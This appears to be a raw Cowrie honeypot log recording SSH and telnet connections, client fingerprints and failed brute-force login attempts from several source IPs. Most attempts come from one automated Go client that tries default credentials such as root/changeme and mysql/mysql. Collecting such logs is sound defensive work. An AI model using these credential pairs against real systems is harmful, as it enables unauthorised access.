ert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:24.242136Z","src_ip":"176.65.132.254","session":"5c7abb886827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:24.516583Z","src_ip":"176.65.132.254","session":"5c7abb886827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.286479473114014,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:24.673506Z","src_ip":"134.209.8.29","session":"0d35a27e9a9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:25.639037Z","src_ip":"176.65.132.254","session":"5c7abb886827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":45842,"dst_ip":"10.17.0.5","dst_port":22,"session":"224e821dc374","protocol":"ssh","message":"New connection: 176.65.132.254:45842 (10.17.0.5:22) [session: 224e821dc374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:28.360105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:28.370646Z","src_ip":"176.65.132.254","session":"224e821dc374","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:28.454402Z","src_ip":"176.65.132.254","session":"224e821dc374","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:28.704112Z","src_ip":"176.65.132.254","session":"224e821dc374","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":48288,"dst_ip":"159.203.135.109","dst_port":23,"session":"03df7ea0c14b","protocol":"telnet","message":"New connection: 134.209.8.29:48288 (159.203.135.109:23) [session: 03df7ea0c14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:28.937606Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:29.789470Z","src_ip":"176.65.132.254","session":"224e821dc374","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56432,"dst_ip":"10.17.0.5","dst_port":23,"session":"4393f1d6c783","protocol":"telnet","message":"New connection: 38.54.119.93:56432 (10.17.0.5:23) [session: 4393f1d6c783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:29.879065Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":48296,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fc23e52c47a","protocol":"telnet","message":"New connection: 134.209.8.29:48296 (159.203.135.109:23) [session: 0fc23e52c47a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:29.970434Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":57176,"dst_ip":"10.17.0.5","dst_port":23,"session":"530cd42f06a7","protocol":"telnet","message":"New connection: 38.54.119.93:57176 (10.17.0.5:23) [session: 530cd42f06a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:30.921235Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":60554,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd9172efa3fb","protocol":"ssh","message":"New connection: 176.65.132.254:60554 (10.17.0.5:22) [session: bd9172efa3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:32.274418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:32.279168Z","src_ip":"176.65.132.254","session":"bd9172efa3fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:32.363678Z","src_ip":"176.65.132.254","session":"bd9172efa3fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phuvanduc","message":"login attempt [root/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:32.640622Z","src_ip":"176.65.132.254","session":"bd9172efa3fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:33.739156Z","src_ip":"176.65.132.254","session":"bd9172efa3fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":38158,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2542363821d","protocol":"telnet","message":"New connection: 134.209.8.29:38158 (159.203.135.109:23) [session: b2542363821d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:34.750140Z"}
{"eventid":"cowrie.session.closed","duration":5.076481819152832,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:35.997606Z","src_ip":"38.54.119.93","session":"530cd42f06a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":60570,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e0cd79cefda","protocol":"ssh","message":"New connection: 176.65.132.254:60570 (10.17.0.5:22) [session: 0e0cd79cefda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:36.391250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:36.396599Z","src_ip":"176.65.132.254","session":"0e0cd79cefda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:36.480116Z","src_ip":"176.65.132.254","session":"0e0cd79cefda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:36.743014Z","src_ip":"176.65.132.254","session":"0e0cd79cefda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:38.301373Z","src_ip":"176.65.132.254","session":"0e0cd79cefda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.926358222961426,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:39.863884Z","src_ip":"134.209.8.29","session":"03df7ea0c14b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":60578,"dst_ip":"10.17.0.5","dst_port":22,"session":"677372c0f891","protocol":"ssh","message":"New connection: 176.65.132.254:60578 (10.17.0.5:22) [session: 677372c0f891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:40.324870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:40.330062Z","src_ip":"176.65.132.254","session":"677372c0f891","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:40.412835Z","src_ip":"176.65.132.254","session":"677372c0f891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:40.846772Z","src_ip":"176.65.132.254","session":"677372c0f891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:41.945976Z","src_ip":"176.65.132.254","session":"677372c0f891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.619335651397705,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:43.589663Z","src_ip":"134.209.8.29","session":"0fc23e52c47a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33292,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeae113c52f0","protocol":"ssh","message":"New connection: 176.65.132.254:33292 (10.17.0.5:22) [session: aeae113c52f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:44.389967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:44.394991Z","src_ip":"176.65.132.254","session":"aeae113c52f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:44.476973Z","src_ip":"176.65.132.254","session":"aeae113c52f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:44.725336Z","src_ip":"176.65.132.254","session":"aeae113c52f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:45.952693Z","src_ip":"176.65.132.254","session":"aeae113c52f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33302,"dst_ip":"10.17.0.5","dst_port":22,"session":"28bce5b0e6a6","protocol":"ssh","message":"New connection: 176.65.132.254:33302 (10.17.0.5:22) [session: 28bce5b0e6a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:48.292348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:48.472768Z","src_ip":"176.65.132.254","session":"28bce5b0e6a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:48.476887Z","src_ip":"176.65.132.254","session":"28bce5b0e6a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:48.826781Z","src_ip":"176.65.132.254","session":"28bce5b0e6a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:49.954359Z","src_ip":"176.65.132.254","session":"28bce5b0e6a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.324679136276245,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:50.168896Z","src_ip":"134.209.8.29","session":"42513660c7f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41932,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1a867b06494","protocol":"telnet","message":"New connection: 38.54.119.93:41932 (10.17.0.5:23) [session: c1a867b06494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:51.050921Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":60816,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa5d7285d57f","protocol":"ssh","message":"New connection: 176.65.132.254:60816 (10.17.0.5:22) [session: aa5d7285d57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:52.462442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:52.470829Z","src_ip":"176.65.132.254","session":"aa5d7285d57f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:52.552939Z","src_ip":"176.65.132.254","session":"aa5d7285d57f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:52.844064Z","src_ip":"176.65.132.254","session":"aa5d7285d57f","protocol":"ssh"}
